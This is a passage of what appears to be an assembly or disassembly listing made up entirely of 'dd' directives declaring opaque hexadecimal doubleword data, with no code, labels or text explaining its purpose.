5F2B5A2Fh, 9C53B673h, 5A39E462h dd 0C9BF2E5Ch, 75D237E5h, 7E997A80h, 323B1B66h, 0B80BC762h dd 0D0FCAD12h, 517CEE77h, 0CC493BAFh, 988FCC35h, 0A3693719h dd 0A96ACA6Ch, 6E849D69h, 0B5386ABCh, 85E4F67Ch, 0E3517BABh dd 45B0F97Ch, 0F45F12FFh, 8BFEEC54h, 2FCE9314h, 0C3179EB6h dd 4A710E8Dh, 0D792F3F4h, 7E22E573h, 3C224DFCh, 0D5A63499h dd 17C94FD6h, 39CB6D25h, 0CAEBD0Ch, 57AFEBh, 8A5F0E1Eh dd 2263A055h, 74AFCD6Fh, 9CF254E0h, 0AC30DA9Eh, 0F7EA2CA7h dd 499C2720h, 0C949F5ECh, 177A8664h, 0C2628EE0h, 0D108748Dh dd 0CFF6E387h, 232D881h, 0CE7A95E2h, 1559D412h, 0F458D2EDh dd 78FE49E5h, 4C34FE2Dh, 0F9732F91h, 0F50CDD75h, 24DC8D56h dd 0BDD7EDCCh, 0E1F423BBh, 0E3A2DC8Dh, 0ADB0EFA0h, 7B0EFA7Dh dd 0B7266A93h, 0F8FABB96h, 1BF9FB3Eh, 0ED0DD42Dh, 37C13F69h dd 3FCF1D57h, 6CE8F6h, 527AF22Ah, 456001A1h, 0F36A86E7h dd 0E4819C0Dh, 43B0A34Ch, 8E2C14F1h, 9553535Bh, 925B088h dd 3CF273C9h, 0FC4EDB48h, 9DB69067h, 63424148h, 72098BFCh dd 46C5BAECh, 8554CF9Fh, 0CDBF152Ch, 12FB4693h, 0DF9652F3h dd 32927ACh, 9504B9C4h, 8EEDAA5Fh, 2F65D58Fh, 0BB9473E4h dd 0E341255Ah, 0D70C2148h, 4CD9D236h, 5EACE73Bh, 0E0B64D47h dd 0E6526DCCh, 0CA2FA707h, 0AC45E965h, 0C0C914E7h, 37E4E722h dd 0F96FCB0Dh, 0FE1BF32Fh, 2238FC9Bh, 3A487E0Fh, 0BE5DF0FFh dd 0ABDFCA0Eh, 593B8B33h, 7FD140EEh, 0A2B0F557h, 63BEFFA6h dd 3FCE9586h, 4B1DB4A7h, 0B78D8C5Fh, 7C51830Fh, 2C6CC14Eh dd 7522F9F8h, 7FFA5528h, 0FFE7352Ah, 0FFF2AA54h, 39DE6A54h dd 52C4AEA5h, 7787F117h, 61C29C2Eh, 9FFF5C70h, 7FF9DCE0h dd 0FF9CA01Dh, 3E4DF9A2h, 74DADCC8h, 403EFD1Fh, 0D7F0CBBFh dd 46A01FAFh, 4E0ED612h, 71FC2F58h, 471F79D7h, 0C4EDCBFEh dd 0C9CFF60Ch, 20678070h, 9E7AD677h, 6E59760Bh, 649489D7h dd 6E720BF4h, 0C3A865D1h, 0BFB7D52Ah, 0FEDA5E96h, 0F1B0FFCEh dd 5C361F62h, 172BC3ECh, 62FEB0FBh, 0D8BA5E1Fh, 0F62E1787h dd 7D8BB9E1h, 1F62F678h, 0C3EF3E9Eh, 54FDDD39h, 0C78C17EFh dd 0C7F3DEBAh, 7E2EFCE3h dd 0EB843D02h, 0C9CFFFB2h, 0D942F6B6h, 0D0D3C9CEh, 9F130FCBh dd 3FFEA797h, 0CA1C13C8h, 0D5B7DE73h, 0D56DF39Fh, 0F4937CE7h dd 4FA54D6Fh, 9DE8CAA2h, 474ACA8Eh, 9A2FA5A5h, 0BA694F23h dd 91992F6Fh, 610AF814h, 0A4E5F437h, 277D44B6h, 6334B70Ch dd 0EB4D290Eh, 298D9D82h, 5D1A30F3h, 3874DE1Dh, 0CC72AD66h dd 2AB31C92h, 0EEB3A993h, 0ACC71784h, 0A5598E39h, 9159FAADh dd 43E63FD5h, 0D22D6ED7h, 0B694AE35h, 6FD7BE54h, 5723ADF0h dd 28316BB7h, 13647A72h, 0B476AA66h, 0E8717A9Ch, 0DEC319DEh dd 1FD7090Dh, 0F1BAE125h, 31D18A0Ch, 0D1FF9D1Eh, 71BAE121h dd 50075280h, 45CD0AC8h, 7C1F6207h, 432868C5h, 0B6D52757h dd 0BC947D0h, 0F99CEE6Ch, 7C14F83Dh, 0E3D19F13h, 20F8ABC1h dd 5E98D15Dh, 28CA4A3Ah, 8A8496CDh, 615235B8h, 17D47974h dd 319782BFh, 3ECB318h, 0EC774B2Eh, 28DC20E7h, 8EE6AD4Ah dd 0E5D19D9Bh, 0F04B46D6h, 1994A674h, 99205D3Ch, 0A72E20E1h dd 950C0B07h, 1D7A83F1h, 21FCB5D2h, 1FC51A53h, 9171E40Ah dd 0E1F751B0h, 0A2CD184Ch, 75DBE29Ah, 99D187h, 3B54F59Fh dd 624B554Fh, 9FD1B164h, 0B745D6E9h, 496802E1h, 8D707A41h dd 50B2D96h, 2B90DA15h, 70BC7268h, 3A230EE6h, 0D017207Ch dd 9077C7EAh, 8FEEB29Bh, 984FB049h, 48BBEAD8h, 36C9BB6h dd 0DABF31D4h, 0F67143A1h, 98DF1CACh, 706752EEh, 0D64AA59h dd 597AF97Eh, 0CE371B98h, 57FF1F9Eh, 7ED8B32h, 4A0E46BFh dd 439B5613h, 4B81ED67h, 0D5BE5F82h, 0C3586616h, 16C1A31Ah dd 0C2386946h, 0E20FD1E8h, 3C6638E3h, 377AA072h, 0BEE9E460h dd 284D3807h, 63E71B26h, 0BDB1272Fh, 8EA30EF5h, 0A7B3B558h dd 8613B97Ah, 94B240A3h, 0A54C954Eh, 0C1D1E533h, 27E6192Fh dd 38715851h, 0F73CB4F9h, 0AEDFF6DCh, 0B7A6DD7Bh, 0A2F1DBAEh dd 0CEC1593Dh, 441BC9DBh, 0D9171AF5h, 81A3395Fh, 8113CEB9h dd 94667AD9h, 9DBC6E58h, 0DAA74050h, 52EA45A8h, 0C41EF147h dd 82D445C0h, 0C0E8678h, 10FE99FDh, 5637ADE1h, 8DD2C4A7h dd 674BDF30h, 0BD28CEADh, 529451EBh, 0B57D7E96h, 35E1F4A9h dd 834E969Fh, 3E6B25BFh, 0B6DEBD2Eh, 7FC865AEh, 0A9D79F38h dd 46574D59h, 9917F634h, 0FD25DCD5h, 419CD0C0h, 5053761Ch dd 0CB7D6B6Dh, 2790A912h, 0B2D1587Bh, 0B09DB25Eh, 1D4EBFA0h dd 7BB6AB5Bh, 0D6F171BDh, 0A3DD8C56h, 0ED27F0FBh, 3E93A410h dd 0ED291557h, 37C6B8A0h, 7FB3F87h, 43EE5CE0h, 9E62BE38h dd 0D2792BE2h, 7E4A768h, 0A9ECD37Ah, 0A76813C0h, 9A6B018h dd 48A2FA28h, 9A30B606h, 0F5DEEBF5h, 3E06D1Fh, 4B216D4Ah dd 0CBEAFD7Dh, 0A00B03C5h, 4EF739B8h, 8DD73CFEh, 0F5160BB1h dd 0E971BB72h, 823F8C26h, 0B6A89557h, 7356E850h, 79AB932Ah dd 0F9C9A5C5h, 0E25566ABh, 154E4370h, 3DEE68A9h, 0BD6EF850h dd 0D455A877h, 1E176409h, 0D4754C1Eh, 0FD48D4A5h, 0A7C16E53h dd 6139245Ch, 46A4B538h, 0D7DC7327h, 3D37C24Bh, 0EC9040A0h dd 18AC6B83h, 1A1BDA4Bh, 2B83672Ch, 68548CAFh, 115D3551h dd 687FE4ADh, 43359E1Bh, 0AD43CBC7h, 0B5955AE5h, 87C8FE5Ah dd 10622265h, 736D688Dh, 3C2F068Dh, 2B27F203h, 6C4369C8h dd 3830594Eh, 5A42C597h, 8B6FF7F1h, 0E20D0976h, 696AA886h dd 0DFA75F10h, 0F46FC1BFh, 0E20D0993h, 20D62C1Bh, 37B4A46Eh dd 0FD1377E9h, 0C1B8C66Eh, 0BD226674h, 411578BAh, 0D3B7D048h dd 9267BF4h, 18422CE1h, 0E8CFB4A0h, 0B57E9077h, 0C21C8424h dd 2D9E85B2h, 0FB01424h, 83983BF9h, 20D081F1h, 72BDF236h dd 8AFB73AFh, 8D81221Bh, 0ED9A68A1h, 639AD5AFh, 8CF7E367h dd 5142638Dh, 4B03F453h, 74907BD6h, 71941E86h, 0E8830591h dd 0F2F77BD4h, 0C4CCB64Eh, 0CB985956h, 333B6CAh, 63BFD83Bh dd 0DF13DBE2h, 0BD877ACFh, 8C6D542Fh, 7AAE35ACh, 4587BFCEh dd 0E8F8EAA3h, 0A8AC8CA1h, 13ED6310h, 0BBCF213Bh, 5508EF59h dd 6375912Dh, 0A9B5AF3Ch, 7768EDECh, 6B03F44Eh, 3B42DBD6h dd 0F6F6C1DBh, 7BB89CEFh, 7BD66762h, 70B0AF6Ch, 0CCE3644Bh dd 0A0ACBFDh, 47E89ED9h, 31D1E8B6h, 1D847B59h, 7DC4CCECh dd 26267BFDh, 810ACEB2h, 0B72BC8F6h, 0CDFDB27Ch, 1E8C1B28h dd 49FA34BDh, 3B20D666h, 2519C29h, 15B289D6h, 1ACE9CF2h dd 22DB0214h, 0B27F19F5h, 6194FEADh, 30766A50h, 68F8C9FAh dd 8F564657h, 1362CFD0h, 98EFEFDFh, 0AB5656F8h, 0D6447620h dd 3D8BAE5Ah, 0CD91173Eh, 72B21E89h, 4B211964h, 0AA14EA0Dh dd 97C20176h, 17B4C54h, 3F45B611h, 9E11C318h, 0BD670848h dd 8CEC2C27h, 7C699BACh, 7633E2B2h, 28F99106h, 0DB0CEB33h dd 64469C21h, 0E1095A16h, 0E04233h, 54F9DC20h, 66447EF0h dd 0D1F32037h, 8C91E8F8h, 1EC2DDACh, 0B55A1276h, 0AC89E27Bh dd 15DC8253h, 53FF4FA9h, 7AC61CFFh, 44E49FA2h, 0EC80ACBBh dd 88631649h, 7DC4DB6Ch, 0BBD0AD59h, 0F84061E2h, 0D35BBE5h dd 0F45B611h, 0BBD6198Dh, 0AAEF636Fh, 9B25B591h, 0A0A3DCF6h dd 0D1A5E2F5h, 0D3ACCCEEh, 81500242h, 0CC88552Ch, 8E07BC20h dd 0BB8DD645h, 0DF13CC7Ah, 4DA06446h, 641FA3E3h, 3E609B40h dd 1A7898ECh, 0BD01D51Ah, 0F227B0BDh, 7E9FF4CAh, 0D8CFA9EFh dd 3947E8EEh, 0C05623D1h, 0C1804615h, 89FEB008h, 0B39BA17Bh dd 827DB14Eh, 0FF280BDCh, 0BF43F670h, 0D16D9443h, 0B28831AEh dd 7400F22h, 9F9BC42Fh, 0A3138389h, 558D7780h, 0A7911310h dd 0BCB2AEF3h, 8D6B3B72h, 8D1A5D76h, 3EF24267h, 7E030621h dd 68159A16h, 7DB5AC89h, 6815D263h, 0F2FC7974h, 0D67321E8h dd 20355669h, 4FB62624h, 0C2AD883Ch, 4BFF2821h, 3BA20B79h dd 0A8C1FA2Eh, 4759B7ACh, 0DDE14EFFh, 5ED87B89h, 42C2339Ch dd 705DF015h, 212FE2D7h, 47A363BEh, 66ED6746h, 0FE8EC2FDh dd 0C4DF6CDDh, 14E30013h, 23792ACCh, 0B687FB20h, 0B20376BFh dd 2AA27247h, 0A8B2FF4h, 0C02A7127h, 303A2350h, 0D716361Dh dd 0CDDC6FD8h, 0E5EAA2DAh, 0ACE6A3D1h, 88467636h, 0A221BF61h dd 0DF7A0042h, 9399CEE6h, 8B8E6886h, 68051A1Eh, 0FD12176Eh dd 0C041D83Bh, 34C47DF4h, 1DD69801h, 4C44EA69h, 183F46C7h dd 0EF0A988Dh, 3C04EFF6h, 3EECD0F7h, 6DC2C28h, 7D9FB6B8h dd 0FAE028EFh, 13F44E41h, 0C057126Bh, 3CD1F74h, 3D3017B6h dd 57438FF2h, 1E5EB761h, 0C48F32EDh, 17B1054h, 0B719DDCFh dd 0E39E22B4h, 254747A2h, 809D64F1h, 42BE3EE9h, 0CF1EDAD6h dd 622F67FEh, 687A363Ah, 0E298B9F4h, 0B8003EC4h, 97739C7Eh dd 0CA1EB808h, 4D647E89h, 0EE980AE2h, 2CE298E5h, 0FBFF7730h dd 97ABD8F7h, 0CF988F47h, 0E00B74C5h, 3E3E6899h, 8B8E7880h dd 0E24A8D76h, 4C07DEC9h, 9DA622F7h, 0B4DEE980h, 310B7EEFh dd 3A3D1B1Dh, 8F4C7CFAh, 0F38DA601h, 8CE08BAEh, 5B7689CDh dd 768EA639h, 5542BBC7h, 5B786007h, 7B0D19C9h, 81FA3F33h dd 0D8E86389h, 2C21D8E3h, 0BD352584h, 8F7BEFAEh, 0F1A3F7B3h dd 0AC91E8DCh, 0BD85F7ACh, 4DFE3DECh, 5DA7D48Dh, 0BE67F5FDh dd 0CC43DEC3h, 3B2ED1ECh, 8E53CC4Ch, 472DECDDh, 0B59EF794h dd 0CFC3F8h, 0D171AEA7h, 427BD0E3h, 2C21D1CCh, 39984984h dd 0CF4DA3E7h, 8FD11DB1h, 4C87A3F2h, 93003B59h, 1604C00Eh dd 0D3C8B6C7h, 0EEFF7FE3h, 67615FFBh, 0A373C7A3h, 0CC02CEFFh dd 0F977B0CFh, 0DAC8CEB7h dd 0CAFDEE9Bh, 4EC7D1Bh, 9EC875D6h, 2BBD8275h, 0B3B63BF4h dd 427D8EBDh, 0D3C8E1CDh, 9B8DB2C2h, 1FC4E137h, 828F8D17h dd 0DA39895Eh, 681EAA85h, 0AFCD6C5Bh, 0DB6B0F26h, 0D1DDA16Eh dd 46FF881h, 9AE677FAh, 0FE908FA6h, 668F46E5h, 48E7FA71h dd 0C8E34E38h, 3C25BC6Eh, 0D62EF8EDh, 0B51DB58Fh, 8F43F567h dd 0B20C749Eh, 42BD8E83h, 0CDA82ECDh, 34C1A13Ch, 1084B6A2h dd 0B46C8AE8h, 0DAEC7495h, 0DAC5DECBh, 0DEB29A8Eh, 1B508365h dd 0D9163C41h, 5FC3EE38h, 0A1723FECh, 5B5012DAh, 0AF6FF562h dd 0FC36B73Ch, 0B19FA306h, 16D2F3D4h, 1D1E8896h, 65475517h dd 0C25BD825h, 56477F60h, 8826239Bh, 0E6580FB0h, 2F6D7D5Ch dd 0A2CBAA52h, 0A2B3D287h, 0FD6D9BD0h, 6468B23Bh, 0F98E6881h dd 6CDD76B9h, 0D1A5FD6Ch, 0F5A1320Fh, 0FEF6847Bh, 703B599Dh dd 6C617A24h, 0BAE267FFh, 8DDE7117h, 0C1B11E89h, 79C1EBBCh dd 71D27597h, 95619042h, 0D9E4B97Eh, 4E000E9Fh, 0C7A37247h dd 0D3A700B3h, 64F6EB30h, 50CE3A0Dh, 0AB5A326Bh, 338A5EEFh dd 0D1E8B2EEh, 0CB8CE4F4h, 0A906384Ah, 0D93F6CF7h, 0F611FD66h dd 0A3D1A5C3h, 0E01FBC99h, 0A5EC69EBh, 8113D0C3h, 0F41AE3DEh dd 541B51C4h, 2587B59Dh, 0B237A1FAh, 5B7B60CEh, 0D4762FA0h dd 0DEA187D4h, 355059E3h, 4F5F0BD6h, 400F7AF2h, 0F35D5FBDh dd 0DEA177C2h, 3550E9A3h, 635F0BD6h, 47E85EBCh, 0A991D75Bh dd 77AE1783h, 339BD417h, 238CD8DBh, 0C6AA0630h, 7BBDA17Ah dd 503DBD78h, 0CB18D36Fh, 77B70BFCh, 83FBD41Bh, 0BFEEE35h dd 3F617B7h, 99C9D15Bh, 0B81D226Fh, 33287A34h, 0DEB20749h dd 5B839C5h, 9D8DE146h, 4BC3AE7Bh, 0F8D17DA6h, 0B607E898h dd 8C6C7DACh, 841C21D0h, 0C6556C61h, 1104DA38h, 3F69A5B6h dd 38B1EF7Eh, 907E88EBh, 0B2B3551Bh, 8B2CD83Ah, 0B424C0B0h dd 2CD60AA2h, 0D09EF0ABh, 0B2B164B6h, 0B2CCA4C0h, 87C3CDDEh dd 0FC1897A3h, 4E3066DBh, 56D5BF14h, 0FC5E526Eh, 72B6F1C7h dd 0BF81E0CBh, 2B6AE53Dh, 73BCAEB7h, 0F40D5DBAh, 723A6371h dd 3DC3C329h, 0B1774DFAh, 12D37ED1h, 371A37B6h, 6B6DFE85h dd 0C03DD5FCh, 0B1E435B8h, 1E52F0BDh, 1324B6EDh, 0EF2ABFCAh dd 774CC50Fh, 30701DC8h, 0DC8D68C3h, 0F86A0375h, 0B4BD2684h dd 27C48D0Fh, 5A7F80BDh, 1ACFF97Dh, 1960EAEDh, 95086F7Ah dd 7D649A51h, 0A5AAFF1Dh, 78860CA3h, 0B3581B9Ch, 0F67B3422h dd 87D89EFAh, 0AB7CD08Eh, 0F3438FE8h, 6E5A7FC2h, 6E34EA0Fh dd 0DED787D8h, 582DE696h, 515007F4h, 0ABEE2CD2h, 9B74A037h dd 0D44A976Dh, 253C1625h, 0FAF4DFC9h, 8F255596h, 0EDA668C2h dd 6BDEFAF5h, 9611DA36h, 0A28E2B8Fh, 0C99FDDE4h, 8771CE05h dd 282A25FAh, 465AD5D9h, 6A191A37h, 0C5A6AB6Eh, 8F0BD32Fh dd 0C2BCE17Eh, 0BAF6ABBAh, 0E3519363h, 2D69BBC9h, 13791854h dd 7F9E488Dh, 7F79F6BEh, 3E429D19h, 9A5C0DD0h, 0E6876910h dd 5C0A936Ch, 2A6C0FDCh, 32B73188h, 0CB0A7218h, 461A68Ah dd 0D489C2D0h, 0DA80410Fh, 0A33A91BCh, 10FE05B9h, 0EB1B6720h dd 75794791h, 0FE3D0C1Fh, 0D3B111C9h, 0A54D52EBh, 31623D46h dd 801BC979h, 25791754h, 935AF03Dh, 0DAA0AED1h, 564561E4h dd 2531C095h, 7A04A3D0h, 0CB424095h, 6A9BD79Dh, 83D6134Ah dd 9F780437h, 6D91ECEFh, 2357839Ch, 5F4A3A4Eh, 0DBB41A11h dd 8E0F7EAh, 7D21DE0Fh, 12F06EA3h, 0B1BF7834h, 8708D06Eh dd 6797292Fh, 730B97E6h, 5376800h, 0DE10E151h, 0F49A5E24h dd 0BB014267h, 1E7E16D1h, 3D9E572Dh, 0AB6E7D8Dh, 0FADC8A7Fh dd 0EDE9508Ch, 0C153A7AEh, 9CD0E084h, 72058F78h, 5CD38658h dd 9760A4FEh, 9C26F67h, 0D3DED1E2h, 73E16FBEh, 64E987E9h dd 0A7BA8745h, 4A9BFD8Eh, 0DDD822FFh, 0DD7C3B6Ch, 0B71E14FCh dd 4196EED4h, 9B226D4Dh, 0B3E9F41Bh, 58395E0Fh, 0D1C4B12Ah dd 52FC7772h, 6559E23Dh, 1C661EAFh, 5A39B983h, 7D088F16h dd 456AF1E6h, 7A09F7EBh, 73DF5118h, 4542C355h, 0FCFE11E9h dd 0F89F3A06h, 5F81BF05h, 0CAEB95B6h, 62147094h, 0A3D9003Dh dd 2882BD15h, 0FB8A7EBFh, 7AE84D18h, 496A1815h, 0D656370Fh dd 0E3C4EB8Eh, 65676F95h, 17E49C4Fh, 26333126h, 50C6511Ah dd 4B86B17h, 338F773Ah, 3389C2B6h, 9827F7D4h, 54D15ADCh dd 5B97BA0Ch, 65818BDEh, 81720C07h, 4EEA4CEFh, 0D013BE25h dd 5617373Ah, 0C61F8B87h, 57E34D3Bh, 0C93845E7h, 87AFB0B8h dd 0DD4B9D87h, 40BE24FDh, 2DFB9789h, 632057BFh, 8C61C0A3h dd 968A89A3h, 4D0F355Eh, 0E114DDD0h, 0B2F46FD6h, 7290C22h dd 0E7BDFB53h, 0FD9F768Dh, 0C34C481Ah, 6D172C3h, 0D45E8E1Ah dd 0C6D9A9C5h, 1E6E308Ah, 0EE97C779h, 6A300BF4h, 287DB111h dd 287E5F76h, 0E4AC6DB0h, 643C69E4h, 2179FB5Fh, 0A0278AFBh dd 0A1173992h, 0C9057A8h, 0B75FFE46h, 580EC77Ah, 8FF3CFD8h dd 81578FB2h, 0DC38E6B7h, 63F4DEAh, 0EFD6E492h, 1A8228A4h dd 0E80DBAE6h, 3255B38Eh, 1C794333h, 4B3534BDh, 842C30FBh dd 0C3B5C579h, 0E222ADAEh, 87DB9716h, 0B8D6885Fh, 0C5C823DDh dd 538B7485h, 1111B952h, 9C3E896Bh, 2136A93Bh, 0A71D7B3Dh dd 3D7A1C35h, 69B65EAh, 9E703D35h, 7472A747h, 0E0B5F74Ah dd 14E75484h, 0A6D84327h, 8A5361E4h, 2E7FCFB9h, 35F8330Eh dd 9B9117F4h, 938AC240h, 0A8426611h, 67110B6Ch, 19A8B514h dd 639A6A6Fh, 9D05EEABh, 50F00BEBh, 3C875CDDh, 0F74BE05Bh dd 4F0768DBh, 0AB65CFF2h, 0B1D2AB98h, 28B64EECh, 93BAAD9Fh dd 658E4A55h, 8E7D8E79h, 6309133h, 0E2C81178h, 71D7B1C3h dd 22B2671Ah, 0E0DC3026h, 0F4B05A80h, 7067703Fh, 61E83EF6h dd 0AACEA78Ch, 0EB3EAC8h, 8DA36E6h, 2DFF971Ah, 61C07562h dd 36279C7h, 28AF2EDEh, 0DB0B2384h, 71A3B133h, 0B6044D4h dd 6C2DC7A3h, 772B046Dh, 90E2869Ch, 606AA4B5h, 8D9601F9h dd 0ADE1002Ah, 0DF7E0CD2h, 46C154A9h, 595B7CEFh, 0EAE2B038h dd 0BC5051C6h, 0C8C7627Dh, 2CED50C2h, 6400D567h, 497EFE5Ch dd 90433A19h, 0FDB9BFBEh, 0B352531Ah, 5796D43Eh, 4C3BB5A7h dd 0E09FD5F6h, 529BF45Ah, 2349245Ah, 16740624h, 1123B157h dd 84E16341h, 0E183E9DAh, 0A0D83AB3h, 0FC8AC4F3h, 66D436FEh dd 4DF02D91h, 6E1F0CDDh, 3E3380CAh, 5E9E757Ch, 8C5C987Eh dd 884903C8h, 753B3743h, 0F4DC4CC7h, 5077DF52h, 865FDB85h dd 86C90F3Bh, 0AED6D1D2h, 0B0F3B52Fh, 0CE4C9C32h, 0B5381BD8h dd 372E09A4h, 0CF6F9D7h, 50F67EDBh, 0CE6F9846h, 664A5E18h dd 189916EAh, 4908BDFBh, 8CF8942Eh, 4E69388Bh, 0F5078BE2h dd 2E7FF9DBh, 4A097ADDh, 69611295h, 7E892246h, 8EBEDD58h dd 6716618Ch, 687ADD14h, 0D856A4CDh, 6FF3EA0Dh, 0D46F31E8h dd 53A8925Fh, 0B57D1CBEh, 0BF21BA2h, 0D7A026ACh, 0B59164D5h dd 0A481F719h, 56D94389h, 0F863C09Ah, 14FE408Eh, 13525126h dd 1179A026h, 0CA2E869Bh, 46527DC2h, 8C5F8CCCh, 5A15CCC3h dd 644BEA3Dh, 0B39F051Ch, 0CEF6A3Ch, 0CF1B3AF2h, 0D149C200h dd 9C37738Fh, 91FA0B42h, 544B7972h, 19750ECDh, 819D49CFh dd 0C2761E49h, 39BF516Fh, 6511EB83h, 6B0C1DE3h, 0D22D4D27h dd 426F9A20h, 96651F25h, 99FF8309h, 274947E1h, 82763323h dd 50CB1822h, 16A5DCAEh, 2FB520CEh, 52EE92BBh, 8C67841Fh dd 467B87EFh, 89BDE78Ch dd 4C2A478Ch, 28C516E1h, 32CD570Bh, 76B006A1h, 61C87AB3h dd 0FDD47834h, 93B8DC0Eh, 62225D91h, 84523A0Fh, 26BDB44Eh dd 0E0BA55F6h, 0F6FD24F7h, 0B6B8E8F0h, 0BE2616D7h, 0B594B3BDh dd 67CD58F3h, 5C1ADFEEh, 1D083460h, 3AF0690h, 9442DBC2h dd 3564B707h, 7FB3BA96h, 0BE5D5186h, 66B01434h, 0EC097F7Dh dd 0BF7E57E9h, 9F9A123Ah, 55114980h, 0F78F58D3h, 8157BEFEh dd 86948C21h, 0ECF39F31h, 6DACD18Ah, 23F54BAEh, 0C4F4201Fh dd 4672813Fh, 4D781174h, 8FC6DED2h, 56C75F62h, 4CCED70Ch dd 1A7F5361h, 16C66F6Ah, 1C9DA20Bh, 0D35DDDC9h, 2DC9818Ah dd 0FA7AB7D3h, 0C0B9055Ah, 756B1F7Fh, 0DFDC5CECh, 0EF0D1837h dd 0D6B0C794h, 49004F4Dh, 0BE9BEFE8h, 6D35E15h, 0A31B8BA3h dd 0DFE192BAh, 24314861h, 0A77F7541h, 0AE463BF9h, 9D05FAAEh dd 16E9A791h, 0DBF0A978h, 460F5E79h, 0DC10A372h, 750324DCh dd 0F4B4D227h, 0BABF06B0h, 23D83EC3h, 7B46C75Eh, 9D93B1Ch dd 0FC1F7F6Fh, 0FF5A4049h, 9BE94889h, 0A4EC0BD8h, 0A2B02297h dd 0A53CDE30h, 0C7BC6E67h, 35C35EABh, 0C56FEE1h, 7FCD960Dh dd 0D4C376C3h, 35143B78h, 5A6F3B95h, 0AC250E6Eh, 2AB14FCBh dd 9743E92Bh, 5BA42AB0h, 0D2AC8E6h, 39E0739Fh, 83F48A7Dh dd 25A6E501h, 0D55A6B8Bh, 0A004BC42h, 6559CCE8h, 0E40B5EF7h dd 68EB54D0h, 0BB3F3569h, 6286D35Bh, 3ACA871Ah, 2185C81h dd 0B27922DFh, 0AD70FCE7h, 0F2B522C3h, 70078A48h, 78F0F143h dd 0E9D8A9ADh, 5D14A49Dh, 0A4C08CDDh, 0BE837E51h, 97D0E907h dd 84640E2Ch, 8A23D126h, 6501BF3Eh, 56BE3304h, 0FD91BB03h dd 0BF2261C2h, 0BE69FCE3h, 0AF53481Eh, 861A34C9h, 72C32A31h dd 1D5052C0h, 63C89C16h, 79E2326Fh, 0EA53D202h, 0C267B86Bh dd 3C930271h, 5DEF8672h, 0FE29DD8h, 0EE12D931h, 0D09DFD5Bh dd 3EA3C660h, 6987FBCh, 6F70CAE5h, 0F2695EA8h, 0D5E377Fh dd 34D8A169h, 0EBEFAE5Dh, 92DE621Dh, 0D36A4BBh, 0D4218D9Dh dd 0F29C96D0h, 1A19E6D4h, 48E60465h, 8062D9FDh, 3172FEA4h dd 7BC098B9h, 78C6F5C6h, 630C2FB6h, 9F823EAEh, 390CB7A6h dd 5318B43Ch, 8499C9F8h, 38BA375Eh, 0DB7D3D43h, 94FE02DAh dd 0A5D1FB61h, 0AF882A3Ch, 18523F67h, 4C9B62A4h, 576C31F3h dd 9888F9E2h, 7FA9E378h, 0DAEE8A03h, 80E5D5E7h, 75598D18h dd 81384375h, 3A56FEC4h, 5A4E9C60h, 0FF1FA3D0h, 8C687416h dd 43037D1Fh, 0C7364B4Dh, 5F93FCAh, 200AFA97h, 5F388AC7h dd 0E0E8A169h, 88C86D75h, 6D9DBB69h, 0D232E2Bh, 34C97578h dd 6723B97Eh, 59D3EFFAh, 82FC2EC8h, 0FF5B3ADDh, 56E4DD26h dd 0D92371FFh, 0E3CDA25Eh, 0EAC3FF68h, 87E81A8Ah, 0C4B6450Ah dd 96C3A00Bh, 0A69A90D6h, 8DCBFD55h, 7E2D84E4h, 0F60AF7C4h dd 52E61556h, 3AA4D417h, 0EAFF6F52h, 649FC454h, 0A1AC4EBFh dd 4CD44C3Bh, 1630DF20h, 0A88122E4h, 0B31DD6B5h, 37069F43h dd 90BDA216h, 9BCE9A41h, 0ACA9309h, 4EEA7DDh, 90B613CEh dd 774B470Ch, 0FF25A15h, 67A6AFCDh, 31775B21h, 7EC776EFh dd 800FB2DFh, 50A7B807h, 5F477CEFh, 0E9784C9h, 0D73594F3h dd 2FF45E6Dh, 0C06D3BD8h, 95EDE3C5h, 3281D01Ah, 6CD07A9Bh dd 28A05434h, 0AF7308BEh, 35EBEFDEh, 0E02B26h, 0E3C43F6Ch dd 84DC2CFh, 6140F221h, 150F4B01h, 6D42E41Bh, 228E614Eh dd 377F421Ah, 0AD98D969h, 2BE7F09h, 29F30F14h, 4C4FA1E9h dd 4DA1DBF1h, 0D926D885h, 30AFBA19h, 384840CFh, 0CF5CD7FBh dd 2665B5D2h, 9995F72Dh, 0A732BB26h, 0A4659F30h, 55E04B5Eh dd 0F3B0031Ah, 0D8F42500h, 783DFABAh, 4A93A3B1h, 3AB36127h dd 0A72C4408h, 880C8D06h, 8698E70Dh, 455735B5h, 0ECF98DA4h dd 335B20h, 0C2B1EB55h, 60464C5Ah, 3D737FDAh, 0E457F18Ch dd 5283A90Fh, 3A315D81h, 0EC16DD5Fh, 0C1085479h, 53C890E1h dd 37772B4Dh, 0C97D0969h, 0F6F906A0h, 64DB679Dh, 0C55A8DBEh dd 0FD963CC4h, 65AAF61Ch, 0EBFC4B7Ah, 22C89D4Dh, 178038CFh dd 5D255642h, 0E4D439FDh, 0BE30E57Bh, 7C46D5DAh, 1278639h dd 5C0D4739h, 0F542B18Fh, 0DB8EE8C2h, 5AFCC4C2h, 1F607D96h dd 97839206h, 0B5DD9602h, 0B132E10Fh, 0A61F6590h, 1E46F5C7h dd 0CC36969h, 38366D8Ch, 7D6C38D5h, 0B0E9D3D5h, 87CBC261h dd 50358BD1h, 19FBD510h, 17DCD0CEh, 8ADD17A0h, 7DCB4DB8h dd 0C96A9E09h, 9736F22Fh, 1BA4D4BAh, 40EC60C1h, 33FAA97Fh dd 0AD6CE680h, 4270AC96h, 94FCBD80h, 797B48D1h, 88E4D8E8h dd 2699ADBCh, 1B356660h, 7C3CF538h, 12326D3Ch, 9C47FC8Bh dd 59B19C6Ah, 0E3506BB6h, 6F0954F3h, 2A6B7E83h, 16EB20C4h dd 9E41DC25h, 0AD11B613h, 0E5E66719h, 0ED8C0FD0h, 2B0AB335h dd 1C16FEF9h, 5D25E34h, 4C4DB08Bh, 58486C60h, 0C7DEDBECh dd 0C8BD3E22h, 57F22C6Ch, 0E67E2C4Ah, 8CDBF01Fh, 2A3C71Dh dd 0DFDBC244h, 2E6F0747h, 0CC7F761Fh, 0ED007F9Ch, 314F376Fh dd 0BAB30942h, 3F87010Fh, 0FBD46840h, 20A6EFEAh, 0DB74C421h dd 4F0DA35Fh, 0A3645A61h, 0FED83319h, 979777FAh, 0E3AD4F86h dd 7189BBA5h, 2512142Ch, 82055C13h, 0FC29E1BDh, 0E9704748h dd 82980DAEh, 37C6F8E1h, 130D0212h, 0E2DFE2B0h, 33FEE8C4h dd 281D84F9h, 946FD2BEh, 0BF57432Eh, 0F5CED4D3h, 0CBDB9A83h dd 5795F8E3h, 1CE70397h, 0CBE9BAB7h, 7732F826h, 856CFA2Eh dd 72792522h, 8981F36Ch, 